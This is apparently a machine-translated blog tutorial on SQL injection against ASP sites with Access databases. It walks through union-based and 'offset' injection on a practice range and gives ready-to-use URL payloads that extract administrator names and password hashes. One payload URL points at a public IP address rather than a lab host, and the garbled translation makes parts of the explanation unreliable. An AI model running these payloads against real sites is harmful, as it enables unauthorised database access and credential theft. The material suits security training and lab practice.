当前位置:网站首页>SQL injection - access injection, access offset injection
SQL injection - access injection, access offset injection
2022-07-06 18:35:00 【Aspirin. two thousand and two】
Access Inject ,Access Offset Injection
Access Database composition
Table name
Name
data
some access+asp Injection range

iis+asp+access
asp General collocation access
PHP General collocation mysql
aspx General collocation msSQL
The condition of injection is that parameters can be transferred 、 Interact with the database , Data interaction
get,post,cookie Can be injected
Injection process
1.1、 Enter a page where you can transfer parameters
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513
1.2、 Determine the injection point
' perhaps and 1=1,and 1=2
1.3、 Judgment fields
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
22 Return to normal ,23 The number of error reporting description fields is 22

The table you look up here is actually product surface , find out 22 Column

1.4、 Name of judgment table
and exits (select * from admin), If there is a table named admin The echo is normal , If it does not exist , Echo error
1.5、 The joint query
union select

Because it is access database , Only the table name 、 Name 、 Content , You need to specify a table
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
commonly admin It is the table for storing administrator information ,access The name of the watch depends on guessing

Try it out 3 and 15, That is to say, we can be in 3 and 15 Check the data in two places , That is, check the specified column data

http://117.24.12.33:10000/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

This password has passed md5 encryption
Tips for guessing column names
View background ( The login page ) Source code


This range has been modified
Access Offset Injection ( Do you know the table name , I can't guess the list )
After the display bit bursts , Determine the number of fields in the table
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin error
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin error
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin error
And so on , until ...
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin correct
Illustrates the admin There are under the table 6 A field ;
use * representative admin Number of fields in the table , Calculation * Number of digits in place of characters .
Access Offset injection principle , The basic formula is :
order by Subtract... From the number of fields * The number of fields of the number , However, reuse order by Subtract... From the number of fields 2 Times the answer just got ;
* = 6 Characters
2 × * = 12 Characters
22 - 12 = 10 Characters
Burst name data
One level offset :union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
If you find that , The source code of the web page is checked above, and there is no data , Please use the following method :
Secondary offset statement :union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
Be careful : Here is 10 Subtract... From the table in the first field 6 A field , So the secondary offset here is select 1,2,3,4
perhaps union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
At this point, you will be surprised to see the source code


Mozhe shooting range practice



The password goes through md5 encryption

边栏推荐
- Automatic reservation of air tickets in C language
- celery最佳实践
- 微信为什么使用 SQLite 保存聊天记录?
- This article discusses the memory layout of objects in the JVM, as well as the principle and application of memory alignment and compression pointer
- Execution process of MySQL query request - underlying principle
- POJ 2208 six lengths of tetrahedron are known, and the volume is calculated
- DOM简要
- std::true_ Type and std:: false_ type
- 从交互模型中蒸馏知识!中科大&美团提出VIRT,兼具双塔模型的效率和交互模型的性能,在文本匹配上实现性能和效率的平衡!...
- With the implementation of MapReduce job de emphasis, a variety of output folders
猜你喜欢

Xu Xiang's wife Ying Ying responded to the "stock review": she wrote it!

FMT open source self driving instrument | FMT middleware: a high real-time distributed log module Mlog
![[swoole series 2.1] run the swoole first](/img/cd/88abf7e83e9d9d416051b33263690b.png)
[swoole series 2.1] run the swoole first

【Swoole系列2.1】先把Swoole跑起来

CSRF vulnerability analysis

重磅硬核 | 一文聊透对象在 JVM 中的内存布局,以及内存对齐和压缩指针的原理及应用

Excellent open source fonts for programmers

Maixll-Dock 摄像头使用

Numerical analysis: least squares and ridge regression (pytoch Implementation)

This article discusses the memory layout of objects in the JVM, as well as the principle and application of memory alignment and compression pointer
随机推荐
随着MapReduce job实现去加重,多种输出文件夹
30 minutes to understand PCA principal component analysis
Rb157-asemi rectifier bridge RB157
【LeetCode第 300 场周赛】
小程序在产业互联网中的作用
Celery best practices
Top command details
Epoll () whether it involves wait queue analysis
Splay
Release of the sample chapter of "uncover the secrets of asp.net core 6 framework" [200 pages /5 chapters]
Ms-tct: INRIA & SBU proposed a multi-scale time transformer for motion detection. The effect is SOTA! Open source! (CVPR2022)...
Prophet模型的简介以及案例分析
Unity资源顺序加载的一个方法
从交互模型中蒸馏知识!中科大&美团提出VIRT,兼具双塔模型的效率和交互模型的性能,在文本匹配上实现性能和效率的平衡!...
文档编辑之markdown语法(typora)
Automatic reservation of air tickets in C language
Jdbc driver, c3p0, druid and jdbctemplate dependent jar packages
Reprint: defect detection technology of industrial components based on deep learning
Interesting - questions about undefined
Stm32+hc05 serial port Bluetooth design simple Bluetooth speaker